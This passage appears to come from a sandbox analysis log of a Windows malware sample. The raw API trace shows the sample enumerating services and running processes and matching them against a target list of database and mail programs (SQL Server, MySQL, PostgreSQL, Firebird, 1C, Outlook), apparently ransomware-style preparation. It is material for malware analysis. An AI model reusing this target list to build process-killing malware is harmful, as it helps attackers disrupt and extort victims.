returned -1 [0195.697] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0195.697] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0195.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0195.697] lstrlenW (lpString="SecurityHealthService") returned 21 [0195.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0195.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0195.697] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0195.697] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0195.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0195.697] lstrlenW (lpString="SENS") returned 4 [0195.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0195.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0195.697] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0195.697] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0195.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0195.697] lstrlenW (lpString="ShellHWDetection") returned 16 [0195.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0195.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0195.697] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0195.697] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0195.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0195.697] lstrlenW (lpString="Spooler") returned 7 [0195.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0195.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0195.697] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0195.698] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0195.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0195.698] lstrlenW (lpString="StateRepository") returned 15 [0195.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0195.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0195.698] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0195.698] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0195.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0195.698] lstrlenW (lpString="SysMain") returned 7 [0195.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0195.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0195.698] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0195.698] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0195.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0195.698] lstrlenW (lpString="SystemEventsBroker") returned 18 [0195.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0195.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0195.698] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0195.698] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0195.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0195.698] lstrlenW (lpString="Themes") returned 6 [0195.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0195.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0195.698] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0195.698] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0195.699] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45c2fd0 | out: hHeap=0x420000) returned 1 [0195.699] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x518 [0195.706] Process32FirstW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.706] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0195.707] lstrlenW (lpString="System") returned 6 [0195.707] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0195.707] lstrlenW (lpString="smss.exe") returned 8 [0195.707] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0195.708] lstrlenW (lpString="csrss.exe") returned 9 [0195.708] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0195.709] lstrlenW (lpString="wininit.exe") returned 11 [0195.709] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0195.709] lstrlenW (lpString="csrss.exe") returned 9 [0195.709] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0195.710] lstrlenW (lpString="winlogon.exe") returned 12 [0195.710] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0195.711] lstrlenW (lpString="services.exe") returned 12 [0195.711] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0195.711] lstrlenW (lpString="lsass.exe") returned 9 [0195.711] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0195.712] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0195.712] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0195.712] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0195.712] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.713] lstrlenW (lpString="svchost.exe") returned 11 [0195.713] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.713] lstrlenW (lpString="svchost.exe") returned 11 [0195.713] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0195.714] lstrlenW (lpString="dwm.exe") returned 7 [0195.714] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.714] lstrlenW (lpString="svchost.exe") returned 11 [0195.714] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.715] lstrlenW (lpString="svchost.exe") returned 11 [0195.715] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.715] lstrlenW (lpString="svchost.exe") returned 11 [0195.715] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.716] lstrlenW (lpString="svchost.exe") returned 11 [0195.716] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.716] lstrlenW (lpString="svchost.exe") returned 11 [0195.716] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.717] lstrlenW (lpString="svchost.exe") returned 11 [0195.717] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.717] lstrlenW (lpString="svchost.exe") returned 11 [0195.717] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.718] lstrlenW (lpString="svchost.exe") returned 11 [0195.718] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.719] lstrlenW (lpString="svchost.exe") returned 11 [0195.719] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.719] lstrlenW (lpString="svchost.exe") returned 11 [0195.719] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0195.720] lstrlenW (lpString="spoolsv.exe") returned 11 [0195.720] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.720] lstrlenW (lpString="svchost.exe") returned 11 [0195.721] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0195.721] lstrlenW (lpString="audiodg.exe") returned 11 [0195.721] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0195.721] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0195.722] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0195.722] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0195.722] lstrcmpiW (lpString1="1c8.exe", lpString2="SecurityHealthService.exe") returned -1 [0195.722] lstrcmpiW (lpString1="1cv77.exe", lpString2="SecurityHealthService.exe") returned -1 [0195.722] lstrcmpiW (lpString1="outlook.exe", lpString2="SecurityHealthService.exe") returned -1 [0195.722] lstrcmpiW (lpString1="postgres.exe", lpString2="SecurityHealthService.exe") returned -1 [0195.722] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SecurityHealthService.exe") returned -1 [0195.722] lstrcmpiW (lpString1="mysqld.exe", lpString2="SecurityHealthService.exe") returned -1 [0195.722] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SecurityHealthService.exe") returned 1 [0195.722] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0195.723] lstrlenW (lpString="Memory Compression") returned 18 [0195.723] lstrcmpiW (lpString1="1c8.exe", lpString2="Memory Compression") returned -1 [0195.723] lstrcmpiW (lpString1="1cv77.exe", lpString2="Memory Compression") returned -1 [0195.723] lstrcmpiW (lpString1="outlook.exe", lpString2="Memory Compression") returned 1 [0195.723] lstrcmpiW (lpString1="postgres.exe", lpString2="Memory Compression") returned 1 [0195.723] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="Memory Compression") returned 1 [0195.723] lstrcmpiW (lpString1="mysqld.exe", lpString2="Memory Compression") returned 1 [0195.723] lstrcmpiW (lpString1="sqlservr.exe", lpString2="Memory Compression") returned 1 [0195.723] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0195.724] lstrlenW (lpString="sihost.exe") returned 10 [0195.724] lstrcmpiW (lpString1="1c8.exe", lpString2="sihost.exe") returned -1 [0195.724] lstrcmpiW (lpString1="1cv77.exe", lpString2="sihost.exe") returned -1 [0195.724] lstrcmpiW (lpString1="outlook.exe", lpString2="sihost.exe") returned -1 [0195.724] lstrcmpiW (lpString1="postgres.exe", lpString2="sihost.exe") returned -1 [0195.724] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="sihost.exe") returned -1 [0195.724] lstrcmpiW (lpString1="mysqld.exe", lpString2="sihost.exe") returned -1 [0195.724] lstrcmpiW (lpString1="sqlservr.exe", lpString2="sihost.exe") returned 1 [0195.724] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.724] lstrlenW (lpString="svchost.exe") returned 11 [0195.724] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0195.724] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0195.724] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0195.724] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0195.724] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0195.724] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0195.724] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0195.725] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0195.725] lstrlenW (lpString="taskhostw.exe") returned 13 [0195.725] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1 [0195.725] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1 [0195.725] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1 [0195.725] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1 [0195.725] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1 [0195.725] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1 [0195.725] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1 [0195.725] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0195.726] lstrlenW (lpString="msoia.exe") returned 9 [0195.726] lstrcmpiW (lpString1="1c8.exe", lpString2="msoia.exe") returned -1 [0195.726] lstrcmpiW (lpString1="1cv77.exe", lpString2="msoia.exe") returned -1 [0195.726] lstrcmpiW (lpString1="outlook.exe", lpString2="msoia.exe") returned 1 [0195.726] lstrcmpiW (lpString1="postgres.exe", lpString2="msoia.exe") returned 1 [0195.726] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="msoia.exe") returned 1 [0195.726] lstrcmpiW (lpString1="mysqld.exe", lpString2="msoia.exe") returned 1 [0195.726] lstrcmpiW (lpString1="sqlservr.exe", lpString2="msoia.exe") returned 1 [0195.726] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0195.726] lstrlenW (lpString="explorer.exe") returned 12 [0195.726] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0195.727] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0195.822] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0195.822] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0195.822] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0195.822] lstrcmpiW (lpString1="mysqld.exe", lpString2="explorer.exe") returned 1 [0195.822] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explorer.exe") returned 1 [0195.822] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0195.823] lstrlenW (lpString="SearchUI.exe") returned 12 [0195.823] lstrcmpiW (lpString1="1c8.exe", lpString2="SearchUI.exe") returned -1 [0195.823] lstrcmpiW (lpString1="1cv77.exe", lpString2="SearchUI.exe") returned -1 [0195.823] lstrcmpiW (lpString1="outlook.exe", lpString2="SearchUI.exe") returned -1 [0195.823] lstrcmpiW (lpString1="postgres.exe", lpString2="SearchUI.exe") returned -1 [0195.823] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SearchUI.exe") returned -1 [0195.823] lstrcmpiW (lpString1="mysqld.exe", lpString2="SearchUI.exe") returned -1 [0195.823] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SearchUI.exe") returned 1 [0195.823] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0195.823] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0195.823] lstrcmpiW (lpString1="1c8.exe", lpString2="ShellExperienceHost.exe") returned -1 [0195.823] lstrcmpiW (lpString1="1cv77.exe", lpString2="ShellExperienceHost.exe") returned -1 [0195.823] lstrcmpiW (lpString1="outlook.exe", lpString2="ShellExperienceHost.exe") returned -1 [0195.823] lstrcmpiW (lpString1="postgres.exe", lpString2="ShellExperienceHost.exe") returned -1 [0195.823] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="ShellExperienceHost.exe") returned -1 [0195.823] lstrcmpiW (lpString1="mysqld.exe", lpString2="ShellExperienceHost.exe") returned -1 [0195.824] lstrcmpiW (lpString1="sqlservr.exe", lpString2="ShellExperienceHost.exe") returned 1 [0195.824] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0195.824] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0195.824] lstrcmpiW (lpString1="1c8.exe", lpString2="RuntimeBroker.exe") returned -1 [0195.824] lstrcmpiW (lpString1="1cv77.exe", lpString2="RuntimeBroker.exe") returned -1 [0195.824] lstrcmpiW (lpString1="outlook.exe", lpString2="RuntimeBroker.exe") returned -1 [0195.824] lstrcmpiW (lpString1="postgres.exe", lpString2="RuntimeBroker.exe") returned -1 [0195.824] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="RuntimeBroker.exe") returned -1 [0195.824] lstrcmpiW (lpString1="mysqld.exe", lpString2="RuntimeBroker.exe") returned -1 [0195.824] lstrcmpiW (lpString1="sqlservr.exe", lpString2="RuntimeBroker.exe") returned 1 [0195.824] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0195.825] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0195.825] lstrcmpiW (lpString1="1c8.exe", lpString2="WmiPrvSE.exe") returned -1 [0195.825] lstrcmpiW (lpString1="1cv77.exe", lpString2="WmiPrvSE.exe") returned -1 [0195.825] lstrcmpiW (lpString1="outlook.exe", lpString2="WmiPrvSE.exe") returned -1 [0195.825] lstrcmpiW (lpString1="postgres.exe", lpString2="WmiPrvSE.exe") returned -1 [0195.825] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="WmiPrvSE.exe") returned -1 [0195.825] lstrcmpiW (lpString1="mysqld.exe", lpString2="WmiPrvSE.exe") returned -1 [0195.825] lstrcmpiW (lpString1="sqlservr.exe", lpString2="WmiPrvSE.exe") returned -1 [0195.825] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0195.825] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0195.825] lstrcmpiW (lpString1="1c8.exe", lpString2="WindowsSystem32file.pe32.exe") returned -1 [0195.825] lstrcmpiW (lpString1="1cv77.exe", lpString2="WindowsSystem32file.pe32.exe") returned -1 [0195.826] lstrcmpiW (lpString1="outlook.exe", lpString2="WindowsSystem32file.pe32.exe") returned -1 [0195.826] lstrcmpiW (lpString1="postgres.exe", lpString2="WindowsSystem32file.pe32.exe") returned -1 [0195.826] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="WindowsSystem32file.pe32.exe") returned -1 [0195.826] lstrcmpiW (lpString1="mysqld.exe", lpString2="WindowsSystem32file.pe32.exe") returned -1 [0195.826] lstrcmpiW (lpString1="sqlservr.exe", lpString2="WindowsSystem32file.pe32.exe") returned -1 [0195.826] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0195.826] lstrlenW (lpString="cmd.exe") returned 7 [0195.826] lstrcmpiW (lpString1="1c8.exe", lpString2="cmd.exe") returned -1 [0195.826] 